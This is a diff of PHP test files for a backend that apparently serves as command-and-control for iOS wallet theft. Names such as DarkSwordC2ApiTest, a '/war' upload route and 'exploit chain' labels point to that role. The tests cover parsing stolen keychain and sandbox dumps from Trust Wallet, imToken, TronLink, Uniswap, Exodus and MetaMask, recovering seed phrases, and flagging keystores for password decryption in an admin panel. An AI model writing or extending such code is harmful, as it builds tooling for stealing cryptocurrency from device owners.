$row->kind() === 'web3.keystore') + ); + $this->assertFalse( + WalletKeystore::query() + ->where('device_id', $device->id) + ->get() + ->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox') + ); + $this->assertNull( + WalletKeystore::query() + ->where('device_id', $device->id) + ->where('source', 'Trust Wallet') + ->value('needs_password') + ); + $this->assertTrue( + WalletKeystore::query() + ->where('device_id', $device->id) + ->get() + ->every(fn (WalletKeystore $row) => (int) $row->chain === Device::CHAIN_APP) + ); + + $addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first(); + $this->assertNotNull($addr); + $this->assertSame('Trust Wallet', $addr->source); + } + + #[Test] + public function trust_hd_keeps_eth_btc_tron_bsc_sol_arb_and_skips_other_coins(): void + { + $device = $this->makeDevice('dev-trust-hd'); + $etc = '0x91E1DF7780C061fBE4d0fc83F26F3B85bfb04Bc6'; + $waves = '3P8QjdvhWgcVbYQEnqmDnJsx4QiqJXAtqci'; + $dot = '13s5C4kEQevkzaKrRdLbABsxTx8pLnT7tXeZm3c6QvrAAvwK'; + $btc = 'bc1qkdjxa55kxw6fltw9tadk9e9xf3gpxq03ex5fl7'; + $utc = [ + 'version' => 3, + 'type' => 'mnemonic', + 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'], + 'activeAccounts' => [ + ['coin' => 0, 'address' => $btc, 'derivationPath' => "m/84'/0'/0'/0/0"], + ['coin' => 60, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], + ['coin' => 61, 'address' => $etc, 'derivationPath' => "m/44'/61'/0'/0/0"], + ['coin' => 195, 'address' => self::TRON, 'derivationPath' => "m/44'/195'/0'/0/0"], + ['coin' => 5741564, 'address' => $waves, 'derivationPath' => "m/44'/5741564'/0'/0'/0'"], + ['coin' => 354, 'address' => $dot, 'derivationPath' => "m/44'/354'/0'/0'/0'"], + ['coin' => 8453, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], + ['coin' => 20000714, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], + ['coin' => 501, 'address' => 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq', 'derivationPath' => "m/44'/501'/0'"], + ['coin' => 10042221, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], + ], + ]; + $tar = $this->makeTar([ + 'Documents/keystore/UTC--hd' => json_encode($utc), + ]); + + app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.sixdays.trust.tar'); + + $addrs = WalletAddress::query() + ->where('device_id', $device->id) + ->orderBy('id') + ->get(['address', 'chain_type']); + $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ETHEREUM')); + $this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN')); + $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::TRON && $a->chain_type === 'TRON')); + $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'BSC')); + $this->assertTrue($addrs->contains(fn ($a) => $a->address === 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq' && $a->chain_type === 'SOLANA')); + $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ARBITRUM')); + $this->assertFalse($addrs->contains(fn ($a) => $a->address === $etc)); + $this->assertFalse($addrs->contains(fn ($a) => $a->address === $waves)); + $this->assertFalse($addrs->contains(fn ($a) => $a->address === $dot)); + $this->assertSame(1, $addrs->where('address', self::ETH)->where('chain_type', 'ETHEREUM')->count()); + } + + #[Test] + public function tronlink_sqlite_writes_address_and_balance_and_flags_password(): void + { + $device = $this->makeDevice('dev-tronlink'); + $sqlite = $this->makeTronLinkSqlite(); + $utc = [ + 'version' => 3, + 'crypto' => ['ciphertext' => 'cc', 'mac' => 'dd'], + 'address' => self::TRON, + ]; + $tar = $this->makeTar([ + 'Documents/tron.sqlite' => $sqlite, + 'Documents/keystore/UTC--tron' => json_encode($utc), + ]); + + app(AppUploadIngester::class)->ingestArtifact( + $device, + $tar, + 'com.tronlink.hdwallet.tar', + ); + + $flagged = WalletKeystore::query() + ->where('device_id', $device->id) + ->where('needs_password', 1) + ->count(); + $this->assertGreaterThan(0, $flagged); + $this->assertFalse( + WalletKeystore::query() + ->where('device_id', $device->id) + ->get() + ->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox') + ); + $this->assertSame( + 0, + WalletKeystore::query() + ->where('device_id', $device->id) + ->where('needs_password', 0) + ->count() + ); + + $addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::TRON)->first(); + $this->assertNotNull($addr); + $this->assertSame('TronLink', $addr->source); + $this->assertSame(0.0, (float) $addr->trx); + $this->assertEqualsWithDelta(1.5, (float) $addr->usdt, 0.0001); + } + + #[Test] + public function imtoken_keeps_account_eoa_and_skips_token_contracts(): void + { + $device = $this->makeDevice('dev-imtoken-addr'); + $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; + $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'; + $utcEth = 'c3f025c2b480ade8f67c8ae9bec3e17f62c26fdf'; + $tar = $this->makeTar([ + 'Documents/walletsV2/wid.json' => json_encode([ + 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'], + 'address' => $utcEth, + 'imTokenMeta' => ['source' => 'NEW_MNEMONIC', 'network' => 'MAINNET'], + ]), + 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([ + 'AccountModel' => [ + 'itemsById' => [ + 'acc1' => [ + 'type' => 'EOA', + 'address' => self::TRON, + 'path' => "m/44'/195'/0'/0/0", + ], + ], + ], + 'AssetToken' => [ + 'itemsById' => [ + 'tok1' => [ + 'chainType' => 'TRON', + 'address' => $usdt, + 'symbol' => 'USDT', + 'decimal' => 6, + 'tokenType' => 'TRC20', + 'accountAddress' => self::TRON, + ], + ], + ], + ]), + 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode([ + 'wethContractAddress' => $weth, + 'address' => $weth, + ]), + ]); + + app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'im.token.app.tar'); + + $addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address')->all(); + $this->assertSame([self::TRON], $addrs); + $this->assertTrue( + WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->exists() + ); + } + + #[Test] + public function global_wallet_skips_helper_contract_addresses(): void + { + $device = $this->makeDevice('dev-gw-addr'); + $batch = 'TDe5aJyJmtJdon9nNRbX1itnftt6LQLUwU'; + $balance = 'TWSaaayu3N1z5GKeWYyTkUG1p9tw3tdTHw'; + $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'; + $tar = $this->makeTar([ + 'Documents/cache/MarketFilterParamsModel.Type.json' => json_encode([ + 'blockchainList' => [[ + 'name' => 'tron', + 'metadata' => [ + 'batchTxContract' => $batch, + 'balanceContract' => $balance, + ], + ]], + ]), + 'Documents/cache/default.show.tokens' => json_encode([ + 'address' => $weth, + 'symbol' => 'WETH', + ]), + ]); + + app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar'); + + $this->assertSame( + 0, + WalletAddress::query()->where('device_id', $device->id)->count() + ); + } + + #[Test] + public function keychain_plaintext_mnemonic_is_recovered_on_decrypt(): void + { + $device = $this->makeDevice('dev-uniswap'); + $xml = '' + .'' + .'com.uniswap.mobile.mnemonic.'.self::ETH.'' + .'Uniswap' + .'TEAM.com.uniswap.mobile' + .''.base64_encode(self::MNEMONIC).'' + .'' + .''; + + $ingester = app(AppUploadIngester::class); + $ingester->ingestArtifact($device, $xml, 'keychain.xml'); + $ingester->dispatchDecrypt($device); + + $this->assertTrue( + WalletKeystore::query()->where('device_id', $device->id)->exists() + ); + $memo = WalletMnemonic::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($memo); + $this->assertSame('Uniswap', $memo->source); + $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); + + $addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first(); + $this->assertNotNull($addr); + $this->assertSame($memo->id, $addr->mnemonic_id); + $this->assertTrue( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.uniswap.mobile')->exists() + ); + } + + #[Test] + public function keychain_exodus_json_mnemonic_is_sourced_exodus(): void + { + $device = $this->makeDevice('dev-exodus'); + $payload = json_encode([ + 'mnemonic' => self::MNEMONIC, + 'seed' => 'not-a-mnemonic', + 'dateCreated' => 1, + ], JSON_UNESCAPED_SLASHES); + $xml = '' + .'' + .'unused' + .'' + .'TEAM.exodus-movement.exodus' + .''.base64_encode((string) $payload).'' + .'' + .''; + + $ingester = app(AppUploadIngester::class); + $ingester->ingestArtifact($device, $xml, 'keychain.xml'); + $ingester->dispatchDecrypt($device); + + $memo = WalletMnemonic::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($memo); + $this->assertSame('Exodus', $memo->source); + $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); + } + + #[Test] + public function keychain_metamask_vault_is_a_password_row(): void + { + $device = $this->makeDevice('dev-mm-vault'); + $vault = $this->makeMetamaskVault(self::MNEMONIC, 'woshini@88'); + unset($vault['kind']); + $xml = '' + .'' + .'VAULT_BACKUP' + .'' + .'TEAM.io.metamask.MetaMask' + .''.base64_encode((string) json_encode($vault)).'' + .'' + .'' + .'deviceUID' + .'deviceUID' + .'TEAM.io.metamask.MetaMask' + .''.base64_encode('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee').'' + .'' + .''; + + app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml'); + + $mm = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'MetaMask')->first(); + $this->assertNotNull($mm); + $this->assertSame(1, (int) $mm->needs_password); + $this->assertSame('metamask.vault', $mm->kind()); + $this->assertSame(0, (int) $mm->decrypted); + + $kc = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'app/keychain')->first(); + $this->assertNotNull($kc); + $items = $kc->raw_json['wallets']['MetaMask']['items'] ?? []; + foreach ($items as $item) { + $this->assertNotSame('VAULT_BACKUP', $item['account'] ?? ''); + } + } + + #[Test] + public function keychain_skips_apple_and_wildcard_installed_apps(): void + { + $device = $this->makeDevice('dev-app-noise'); + $xml = '' + .'asTEAM.apple.Spotlight' + .''.base64_encode('x').'' + .'bsTEAM.apple.TextInput' + .''.base64_encode('y').'' + .'csTEAM.*' + .''.base64_encode('z').'' + .'dsapple.security.octagon' + .''.base64_encode('w').'' + .'eBitpieTEAM.com.bitpie.wallet' + .''.base64_encode('ok').'' + .''; + + app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml'); + + $this->assertFalse( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'like', 'apple.%')->exists() + ); + $this->assertFalse( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists() + ); + $this->assertFalse( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'Spotlight')->exists() + ); + $this->assertTrue( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.bitpie.wallet')->exists() + ); + $this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count()); + } + + private function makeDevice(string $id = 'dev-app-1'): Device + { + return Device::query()->create([ + 'device_id' => $id, + 'ios_version' => '18.0', + 'device_model' => 'iPhone', + 'chain' => Device::CHAIN_APP, + ]); + } + + /** + * @return array + */ + private function makeMetamaskVault(string $phrase, string $password): array + { + $inner = json_encode([[ + 'type' => 'HD Key Tree', + 'data' => [ + 'mnemonic' => array_map('ord', str_split($phrase)), + 'numberOfAccounts' => 1, + 'hdPath' => "m/44'/60'/0'/0", + ], + ]], JSON_UNESCAPED_SLASHES); + $saltB64 = base64_encode(random_bytes(32)); + $iv = random_bytes(16); + $key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true); + $cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); + + return [ + 'kind' => 'metamask.vault', + 'cipher' => base64_encode((string) $cipher), + 'iv' => bin2hex($iv), + 'salt' => $saltB64, + 'lib' => 'quick-crypto', + 'keyMetadata' => [ + 'algorithm' => 'PBKDF2', + 'params' => ['iterations' => 5000], + ], + ]; + } + + /** + * @param array $files + */ + private function makeTar(array $files): string + { + $dir = sys_get_temp_dir().'/app_upload_tar_'.bin2hex(random_bytes(4)); + mkdir($dir, 0777, true); + $tarPath = $dir.'.tar'; + try { + foreach ($files as $rel => $body) { + $full = $dir.'/'.$rel; + $parent = dirname($full); + if (! is_dir($parent)) { + mkdir($parent, 0777, true); + } + file_put_contents($full, $body); + } + $phar = new \PharData($tarPath); + $phar->buildFromDirectory($dir); + + return (string) file_get_contents($tarPath); + } finally { + @unlink($tarPath); + $it = new \RecursiveIteratorIterator( + new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS), + \RecursiveIteratorIterator::CHILD_FIRST + ); + foreach ($it as $f) { + $f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname()); + } + @rmdir($dir); + } + } + + private function makeTronLinkSqlite(): string + { + $tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_'); + $pdo = new \PDO('sqlite:'.$tmp); + $pdo->exec('CREATE TABLE Wallet (id INTEGER PRIMARY KEY, address TEXT)'); + $pdo->exec('CREATE TABLE ORM_DBTable_HomeNewAsset (id INTEGER, address TEXT, balance TEXT, shortName TEXT, contractAddress TEXT)'); + $ins = $pdo->prepare('INSERT INTO Wallet (address) VALUES (?)'); + $ins->execute([self::TRON]); + $asset = $pdo->prepare('INSERT INTO ORM_DBTable_HomeNewAsset (id, address, balance, shortName, contractAddress) VALUES (?,?,?,?,?)'); + $asset->execute([1, self::TRON, '0', 'TRX', '']); + $asset->execute([2, self::TRON, '1.5', 'USDT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t']); + $pdo = null; + $bytes = (string) file_get_contents($tmp); + @unlink($tmp); + + return $bytes; + } +} diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php index 7065f14..207e185 100644 --- a/tests/Feature/DarkSwordC2ApiTest.php +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -399,7 +399,17 @@ class DarkSwordC2ApiTest extends TestCase 'errors' => ['aksUnwrap class=10 kr=3758097090'], ], 'sandbox' => [ - 'imtoken' => ['keystore.json' => '{"version":3}'], + 'imtoken' => [ + 'walletsV2.json' => json_encode([ + 'version' => 3, + 'crypto' => [ + 'cipher' => 'aes-128-ctr', + 'ciphertext' => 'aa', + 'mac' => 'bb', + 'kdf' => 'pbkdf2', + ], + ]), + ], ], ])->assertOk()->assertJson(['ok' => true]); @@ -412,6 +422,12 @@ class DarkSwordC2ApiTest extends TestCase $sources = $rows->pluck('source')->all(); $this->assertContains('Trust Wallet', $sources); $this->assertContains('imToken', $sources); + $this->assertEqualsCanonicalizing( + ['钥匙串', '标准 Keystore'], + $rows->map(fn ($row) => $row->kindLabel())->all() + ); + $this->assertFalse($rows->contains(fn ($row) => $row->kind() === 'sandbox')); + $this->assertTrue($rows->every(fn ($row) => (int) $row->chain === Device::CHAIN_DARKSWORD)); } #[Test] @@ -442,41 +458,51 @@ class DarkSwordC2ApiTest extends TestCase $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $rows = WalletKeystore::query()->where('device_id', $device->id)->get(); - $this->assertSame(2, $rows->count()); - $this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all()); + $this->assertSame(1, $rows->count()); + $this->assertSame(['钥匙串'], $rows->map(fn ($row) => $row->kindLabel())->all()); } #[Test] - public function war_collapses_existing_duplicate_sandbox_rows(): void + public function war_collapses_existing_duplicate_web3_rows(): void { $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, ]); - $raw = [ - 'kind' => 'sandbox', - 'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'], + $utc = [ + 'kind' => 'web3.keystore', + 'crypto' => [ + 'cipher' => 'aes-128-ctr', + 'ciphertext' => 'aa', + 'mac' => 'bb', + 'kdf' => 'scrypt', + ], ]; WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, - 'raw_json' => $raw, + 'raw_json' => $utc, ]); WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, - 'raw_json' => $raw, + 'raw_json' => $utc, ]); $this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count()); $this->postJson('/war', [ 'lhu' => self::DS_LHU, - 'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'], + 'sandbox' => [ + 'trust_wallet' => [ + 'Documents/keystore/UTC--demo' => json_encode($utc), + ], + ], ])->assertOk(); $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count()); + $this->assertSame('标准 Keystore', WalletKeystore::query()->where('device_id', $device->id)->first()?->kindLabel()); $this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash')); } @@ -615,6 +641,8 @@ class DarkSwordC2ApiTest extends TestCase $rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get(); $this->assertGreaterThanOrEqual(1, $rows->count()); $this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1)); + $this->assertFalse($rows->contains(fn ($row) => $row->kind() === 'sandbox')); + $this->assertTrue($rows->contains(fn ($row) => $row->kind() === 'web3.keystore')); } #[Test] @@ -654,14 +682,7 @@ class DarkSwordC2ApiTest extends TestCase 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, - 'raw_json' => [ - 'kind' => 'sandbox', - 'sandbox' => [ - 'trust_wallet' => [ - 'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)), - ], - ], - ], + 'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']), ]); app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores')); @@ -1593,6 +1614,8 @@ class DarkSwordC2ApiTest extends TestCase $this->assertNotNull($ks); // No password → not decrypted, but keystore is stored. $this->assertSame(0, (int) $ks->decrypted); + $this->assertSame(1, (int) $ks->needs_password); + $this->assertSame('标准 Keystore', $ks->kindLabel()); } #[Test] @@ -1682,6 +1705,7 @@ class DarkSwordC2ApiTest extends TestCase // Mnemonic should be recovered by walkForMnemonics. $memo = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($memo, 'Uniswap mnemonic should be recovered by walkForMnemonics'); + $this->assertSame('Uniswap', $memo->source); $this->assertSame($mnemonic, $memo->mnemonic); // Address should be extracted from the account field. diff --git a/tests/Feature/DeviceDeleteTest.php b/tests/Feature/DeviceDeleteTest.php index 5a83f9f..a45d4f8 100644 --- a/tests/Feature/DeviceDeleteTest.php +++ b/tests/Feature/DeviceDeleteTest.php @@ -18,8 +18,10 @@ use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; +use App\Services\Tokenview\TokenviewMonitorService; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Storage; +use Mockery; use PHPUnit\Framework\Attributes\Test; use Tests\TestCase; @@ -64,6 +66,7 @@ class DeviceDeleteTest extends TestCase 'address' => 'Txxx', 'source' => 'imToken', 'chain_type' => 'TRX', + 'monitor' => 1, ]); WalletMnemonic::query()->create([ 'device_id' => $device->id, @@ -135,6 +138,10 @@ class DeviceDeleteTest extends TestCase Storage::disk('local')->put($waPath, '{"userId":"15550001111"}'); try { + $tokenview = Mockery::mock(TokenviewMonitorService::class); + $tokenview->shouldReceive('syncMonitor')->never(); + $this->app->instance(TokenviewMonitorService::class, $tokenview); + $this->actingAs($admin, 'admin') ->deleteJson(route('admin.devices.destroy', $device)) ->assertOk() diff --git a/tests/Feature/DeviceWalletFlagTest.php b/tests/Feature/DeviceWalletFlagTest.php index 054b6fa..ac32dbe 100644 --- a/tests/Feature/DeviceWalletFlagTest.php +++ b/tests/Feature/DeviceWalletFlagTest.php @@ -4,6 +4,7 @@ namespace Tests\Feature; use App\Models\Admin; use App\Models\Device; +use App\Models\DeviceApp; use App\Services\IngestService; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Http; @@ -46,6 +47,38 @@ class DeviceWalletFlagTest extends TestCase $this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.apple.mobilesafari')->value('is_wallet')); } + #[Test] + public function applist_skips_apple_prefix_and_wildcard_bundles(): void + { + $device = Device::query()->create(['device_id' => 'dev-app-skip-noise']); + + app(IngestService::class)->ingestInstalledApps($device, [ + 'al' => [ + ['a' => 'Spotlight', 'b' => 'apple.Spotlight'], + ['a' => '*', 'b' => '*'], + ['a' => 'Octagon', 'b' => 'apple.security.octagon'], + ['a' => 'Safari', 'b' => 'com.apple.mobilesafari'], + ['a' => 'MetaMask', 'b' => 'io.metamask'], + ], + ]); + + $this->assertFalse( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'apple.Spotlight')->exists() + ); + $this->assertFalse( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists() + ); + $this->assertFalse( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'apple.security.octagon')->exists() + ); + $this->assertTrue( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.mobilesafari')->exists() + ); + $this->assertTrue( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->exists() + ); + } + #[Test] public function applist_with_plugin_wallets_marks_yes_and_notifies_once(): void { diff --git a/tests/Feature/KeystoreAdminTest.php b/tests/Feature/KeystoreAdminTest.php index df9a99f..93e2128 100644 --- a/tests/Feature/KeystoreAdminTest.php +++ b/tests/Feature/KeystoreAdminTest.php @@ -65,9 +65,8 @@ class KeystoreAdminTest extends TestCase ->assertJsonPath('data.0.source', 'Trust Wallet') ->assertJsonPath('data.0.decrypted', 1) ->assertJsonPath('data.0.kind', '钥匙串') - ->assertJsonPath('data.0.item_count', 1) - ->assertJsonPath('data.0.summary', 'trust.account') - ->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01'); + ->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01') + ->assertJsonPath('data.0.chain', Device::CHAIN_CORUNA); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.items', $row)) @@ -95,9 +94,7 @@ class KeystoreAdminTest extends TestCase $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores'])) ->assertOk() - ->assertJsonPath('data.0.source', 'Trust Wallet') - ->assertJsonPath('data.0.item_count', 1) - ->assertJsonPath('data.0.summary', 'trust.account'); + ->assertJsonPath('data.0.source', 'Trust Wallet'); } #[Test] @@ -259,4 +256,259 @@ class KeystoreAdminTest extends TestCase ->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密'); $this->assertGreaterThan(0, $resp->json('data.passwords')); } + + #[Test] + public function admin_filters_keystores_that_need_password(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $device = Device::query()->create([ + 'device_id' => 'DEVNEEDSPW01', + 'channel_id' => 'ch-ks-pw', + ]); + WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'Trust Wallet', + 'decrypted' => 0, + 'raw_json' => ['kind' => 'sandbox', 'sandbox' => []], + ]); + WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'imToken', + 'decrypted' => 0, + 'needs_password' => 1, + 'raw_json' => ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']], + ]); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.keystores.data')) + ->assertOk() + ->assertJsonPath('count', 2); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.keystores.data', ['needs_password' => '1'])) + ->assertOk() + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.source', 'imToken') + ->assertJsonPath('data.0.needs_password', 1); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores', 'needs_password' => '1'])) + ->assertOk() + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.needs_password', 1); + + $this->actingAs($admin, 'admin') + ->get(route('admin.keystores.index')) + ->assertOk() + ->assertSee('需要密码'); + } + + #[Test] + public function admin_filters_keystores_by_chain(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $ds = Device::query()->create([ + 'device_id' => 'DEVKSCHAINDS', + 'chain' => Device::CHAIN_DARKSWORD, + ]); + $app = Device::query()->create([ + 'device_id' => 'DEVKSCHAINAPP', + 'chain' => Device::CHAIN_APP, + ]); + WalletKeystore::firstOrCreateForDevice($ds, 'Trust Wallet', ['kind' => 'keychain.wallets', 'wallets' => []]); + WalletKeystore::firstOrCreateForDevice($app, 'imToken', ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']]); + + $this->actingAs($admin, 'admin') + ->get(route('admin.keystores.index')) + ->assertOk() + ->assertSee('利用链'); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.keystores.data', ['chain' => '2'])) + ->assertOk() + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.device_key', 'DEVKSCHAINDS') + ->assertJsonPath('data.0.chain', Device::CHAIN_DARKSWORD); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.keystores.data', ['chain' => '3'])) + ->assertOk() + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.device_key', 'DEVKSCHAINAPP') + ->assertJsonPath('data.0.chain', Device::CHAIN_APP); + + $legacy = Device::query()->create([ + 'device_id' => 'DEVKSCHAINLEGACY', + 'chain' => Device::CHAIN_APP, + ]); + WalletKeystore::query()->create([ + 'device_id' => $legacy->id, + 'source' => 'Uniswap', + 'decrypted' => 0, + 'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => []], + ]); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.keystores.data', ['chain' => '3'])) + ->assertOk() + ->assertJsonPath('count', 2); + } + + #[Test] + public function admin_password_decrypt_writes_mnemonic(): void + { + Http::fake(); + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; + $password = 'wallet-pass-1'; + $utc = EthKeystore::encrypt($phrase, $password, [ + 'n' => 16, + 'r' => 8, + 'p' => 1, + 'dklen' => 32, + 'salt' => str_repeat('ab', 32), + ]); + $device = Device::query()->create(['device_id' => 'DEVKSPASS01']); + $row = WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'imToken', + 'decrypted' => 0, + 'needs_password' => 1, + 'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']), + ]); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.keystores.data')) + ->assertOk() + ->assertJsonPath('data.0.needs_password', 1) + ->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row)); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password]) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.added', 1) + ->assertJsonPath('data.decrypted', 1); + + $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($mnemonic); + $this->assertSame($phrase, $mnemonic->mnemonic); + $this->assertSame('imToken', $mnemonic->source); + $this->assertSame(1, (int) $row->fresh()->decrypted); + } + + #[Test] + public function password_decrypt_rejects_wrong_and_empty_password(): void + { + Http::fake(); + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; + $utc = EthKeystore::encrypt($phrase, 'correct-pass', [ + 'n' => 16, + 'r' => 8, + 'p' => 1, + 'dklen' => 32, + 'salt' => str_repeat('cd', 32), + ]); + $device = Device::query()->create(['device_id' => 'DEVKSPASS02']); + $row = WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'imToken', + 'decrypted' => 0, + 'needs_password' => 1, + 'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']), + ]); + $plain = WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'Trust Wallet', + 'decrypted' => 0, + 'raw_json' => ['kind' => 'sandbox', 'sandbox' => []], + ]); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.keystores.decryptPassword', $row), ['password' => '']) + ->assertStatus(422) + ->assertJsonPath('code', 1); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.keystores.decryptPassword', $row), ['password' => 'wrong-pass']) + ->assertStatus(400) + ->assertJsonPath('code', 1) + ->assertJsonPath('msg', '密码不正确,未能解开助记词'); + + $this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count()); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.keystores.decryptPassword', $plain), ['password' => 'x']) + ->assertStatus(400) + ->assertJsonPath('msg', '该钥匙串未标记为需要密码'); + } + + #[Test] + public function admin_password_decrypt_metamask_vault(): void + { + Http::fake(); + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $phrase = 'abandon abandon abandon abandon abandon abandon 